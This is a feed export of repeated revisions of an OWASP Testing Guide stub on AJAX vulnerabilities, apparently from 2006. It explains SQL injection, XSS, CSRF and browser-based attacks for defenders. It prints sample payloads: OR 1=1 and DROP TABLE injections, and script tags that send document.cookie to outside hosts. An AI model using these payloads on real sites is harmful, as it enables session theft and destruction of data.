Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
'''Charles''' &amp;lt;br&amp;gt; An HTTP proxy/monitor/Reverse Proxy that enables viewing all HTTP traffic between browser and the Internet, including requests, responses and HTTP headers (which contain the cookies and caching information). Capabilities include HTTP/SSL and variable modem speed simulation. Useful for XML development in web browsers, such as AJAX (Asynchronous Javascript and XML) and XMLHTTP, as it enables viewing of actual XML between the client and the server. Can autoconfigure browser's proxy settings on MSIE, Firefox, Safari. Java application from XK72 Ltd.&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11792</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11792"/>
				<updated>2006-11-05T21:56:43Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Cross Site Scripting'''&amp;lt;br&amp;gt;Cross Site Scripting is a technique by which mailcious content is injected in the inform of HTML links,Javascripts Alerts or in the  form of error messages.XSS exploits can be used for triggering variopus other attacks like cookie theft, account hijacking, and denial of service. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The Browser and Ajax Requests look identical which the server is incapable of classifying them.I that case we do not know on who made the request in tghe background. A JavaScript can make a request for a resource using Ajax that occurs in the background without  the user's knowledge. The browser will automatically add the necessary authentication or state-keeping information&lt;br /&gt;
such as cookies to the request. JavaScript code can then access the responseto this hidden request and then send more requests. This expansion of JavaScript functionality increases the possible damage of a Cross-Site&lt;br /&gt;
Scripting (XSS) attack.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also a XSS attack could send requests for specific pages beside the page the user is currently looking at. This allows the attacker to actively look for certain content, potentially accessing the data.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The XSS payload can use Ajax requests to autonomously inject itself into pages, and easily re-inject the same host with more XSS like a virus, all of which can be done with no hard refresh. Thus, XSS can send multiple requests using complex HTTP methods&lt;br /&gt;
to propagate itself invisibly to the user. &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example''''' &lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;howdy&amp;quot;)&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;document.location='http://www.example.com/pag.pl?'%20+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
''Usage:''&lt;br /&gt;
&amp;lt;pre&amp;gt;http://example.com/login.php?variable=&amp;quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.irr.com/cont.php?'+document.cookie&amp;lt;/script&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
This will just redirect the page to an unknown and a malicious page after logging into the original page from where the request was made.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Client Side Injection Threats'''&amp;lt;br&amp;gt;&lt;br /&gt;
* ''XSS exploits'' can give access to any client-side data and can also modify the client-side code.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
* ''DOM Injection'' - It is a type pf XSS injection which happens through the sub-objects ,document.location or document.URL or document.referrer of the Document Object Model(DOM)&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;SCRIPT&amp;gt;&lt;br /&gt;
var pos=document.URL.indexOf(&amp;quot;name=&amp;quot;)+5;&lt;br /&gt;
document.write(document.URL.substring(pos,document.URL.length));&lt;br /&gt;
&amp;lt;/SCRIPT&amp;gt;&amp;lt;/pre&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
* ''JSON/XML/XSLT Injection'' - Injection of malicious code in the XML content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Ajax Bridging'''&amp;lt;br&amp;gt;&lt;br /&gt;
For security purposes, Ajax applications can only connect back to the Website from which they come. For example, JavaScript with Ajax downloaded from yahoo.com cannot make connections to google.com. To allow Ajax to contact third-party sites in this manner, the Ajax service bridge was created. In a bridge, a host provides a Web service that acts as a proxy to forward traffic between the JavaScript running on the client and the third-party site.A bridge could be considered a 'Web service to Web service' connection.An attacker could use this to access sites with restricted access.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cross Site Request Forgery(XSRF)'''&amp;lt;br&amp;gt;&lt;br /&gt;
CSRF is an exploit where an attacker forces a victim’s web browser to send an HTTP request to any website of their choosing (the intranet is fair game as well). For example, while reading this post, the HTML/JavaScript code embedded in the web page could have forced your browser to make an off-domain request to your bank, blog, web mail, DSL router, etc. Invisibly CSRF could have transfered funds, posted comments, compromise email lists, or reconfigured the network. When a victim is forced to make a CSRF request it will be authenticated if they’ve recently logged-in. The worse part is all system logs would verify that you in fact mad the request. Its’ been done before, only not often, yet.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service'''&amp;lt;br&amp;gt;Denial of Service is an old attack where an attacker or vulnerable application force the user to launch multiple XMLHttpRequests to a target application against the wishes of the user. Infact, browser domain restrictions make XMLHttpRequests useless in launching such attacks on other domains. Simple tricks like using image tags nested within a JavaScript loop can do the trick more effectively. AJAX being on the client-side makes the attack easier.&amp;lt;pre&amp;gt;&amp;lt;IMG SRC=&amp;quot;http://example.com/cgi-bin/ouch.cgi?a=b&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt; &lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Browser Based Attacks'''&amp;lt;br&amp;gt;The web browsers we use haven't been designed with security in mind. Most of the security features available in the browsers are based on the previous attacks. So our browsers are not prepared for newer attacks.&amp;lt;br&amp;gt;&lt;br /&gt;
There have been a number of new attacks on browsers like using the browser to hack into the internal network. The JavaScript first determines the internal network address of the PC. Then, using standard JavaScript objects and commands, it starts scanning the local network for Web servers. These can be computers that serve Web pages, but they can also include routers, printers, IP phones and other networked devices or applications that have a Web interface.The JavaScript scanner determines whether there is a computer at an IP address by sending a &amp;quot;ping&amp;quot; using JavaScript &amp;quot;image&amp;quot; objects. It then determines what servers are running by looking for image files stored in standard places, the traffic it receives back and the error messages it receives.&amp;lt;/p&amp;gt;&amp;lt;br&amp;gt;&amp;lt;p&amp;gt;Attacks that target Web browser and Web application vulnerabilities are often conducted by HTTP and, therefore, may bypass filtering mechanisms in place on the network perimeter. And the widespread deployment of Web applications and Web browsers gives attackers a large number of easily exploitable targets. For example, Web browser vulnerabilities can lead to the exploitation of vulnerabilities in operating system components and individual applications, which can lead to the installation of malicious code, including bots.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Major Attacks  ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''MySpace Attack'''&amp;lt;br&amp;gt;The Samy and Spaceflash worms both spread on MySpace, changing profiles on the hugely popular social-networking Web site. In ''Samy attack'',the XSS Exploit allowed &amp;lt;SCRIPT&amp;gt; in MySpace.com profile. AJAX was used to inject virus into MySpace profile of any user viewing infected page and forced any user viewing infected page to add user “Samy” to their friend list.It also appended the words “Samy is my hero” to victims profile&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Yahoo! Mail Attack'''&amp;lt;br&amp;gt;In June 2006, the Yamanner worm infected Yahoo's mail service. The worm, using XSS and Ajax, took advantage of a vulnerability in Yahoo mail's onload event handling. When an infected email was opened, the worm code executed its JavaScript, sending a copy of itself to all the yahoo contacts of the infected user. The infected email carried a spoofed 'From' address picked randomly from the infected system, which also made it look like an email from a known user.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for Topic X vulnerabilities:''' &amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
'''Testing for Topic X vulnerabilities:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
== References == &lt;br /&gt;
&lt;br /&gt;
*[http://en.wikipedia.org/wiki/AJAX AJAX]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
;'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman.pdf Billy Hoffman, &amp;quot;Ajax(in) Security&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.blackhat.com/presentations/bh-usa-06/BH-US-06-Hoffman_web.pdf Billy Hoffman, &amp;quot;Analysis of Web Application Worms and Viruses&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.spidynamics.com/assets/documents/AJAXdangers.pdf Billy Hoffman, &amp;quot;Ajax Security Dangers&amp;quot;,SPI Labs]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
;'''Articles'''&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.adaptivepath.com/publications/essays/archives/000385.php Jesse James Garrett. “Ajax: A New Approach to Web Applications”, Adaptive Path]&amp;lt;br&amp;gt;&lt;br /&gt;
*[http://www.webappsec.org/projects/articles/071105.html Amit Klein. &amp;quot;DOM Based Cross Site Scripting or XSS of the Third Kind : A look at an overlooked flavor of XSS&amp;quot;, Web Application Security Consortium]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;br /&gt;
[[OWASP Testing Guide v2 Table of Contents]]&lt;br /&gt;
{{Template:Stub}}&lt;/div&gt;</summary>
		<author><name>Anushshetty</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11791</id>
		<title>Testing for AJAX Vulnerabilities (OWASP-AJ-001)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_AJAX_Vulnerabilities_(OWASP-AJ-001)&amp;diff=11791"/>
				<updated>2006-11-05T21:33:24Z</updated>
		
		<summary type="html">&lt;p&gt;Anushshetty: /* Attacks and Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Asynchronous Javascript and XML (AJAX)''' is one of the latest techniques used by web application developers to provide a user experience similar to that of a local application. Since Ajax is still a new term, not much of a thought has been given towards its security implications.The security issues in Ajax include&amp;lt;br&amp;gt;&lt;br /&gt;
* Create a larger attack surface with many more inputs to secure&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Expose internal functions of the Web application server&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Allow a client-side script to access third-party resources with no built-in security and encoding mechanisms&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Login Information and Intrusion Detection&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Attacks and Vulnerabilities == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''XMLHttpRequest Vulnerabilities'''&amp;lt;br&amp;gt; AJAX uses XMLHttpRequest(XHR) object for all the back-end work.A client sends a request to a specific URL on the same server as the original page and can receive any kind of reply from the server. These replies are often snippets of HTML, but can also be XML, Javascript Object Notation (JSON), image data or anything else that Javascript can process.&amp;lt;p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Secondly in the case of accessing an AJAX page on a non-SSL connection, the subsequent XMLHttpRequest calls are also not SSL encrypted. Hence the login data is traversing the wire in clear text. Using secure channels HTTPS/SSL which the modern day browsers support is an easiest way to prevent such attacks from happening.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XMLHttpRequest(XHR) objects retrieve the information of all the servers on the web. This could lead to various other attacks like SQL Injection, Cross Site Scripting(XSS) etc.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Increased Attack Surface''' &amp;lt;br&amp;gt;&lt;br /&gt;
Unlike traditional Web applications that are completely on the server, Ajax applications extend across the client and server which also gives the client some powers.This throws in more additional ways to potentially inject malicious content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''SQL Injection'''&amp;lt;br&amp;gt;SQL Injection attacks are remote attacks on the database by allowing the attacker to modify the data on the database. &amp;lt;br&amp;gt; A typical SQL Injection attack could be as follows&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 1'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' OR 1=1 AND pass='' OR 1=1 LIMIT 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
This query will always return one row (unless the table is empty) and it is likely to be the first entry in the table. For many applications, that entry is the administrative login; the one with the most privileges.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''''Example 2'''''&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SELECT id FROM users WHERE name='' AND pass=''; DROP TABLE users;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
The above query helps in dropping all the tables and destructs the database.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More on SQL Injection can be found at [http://www.owasp.org/index.php/SQL_Injection_AoC, SQL Injection (OWASP Testing Guide v2)].&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
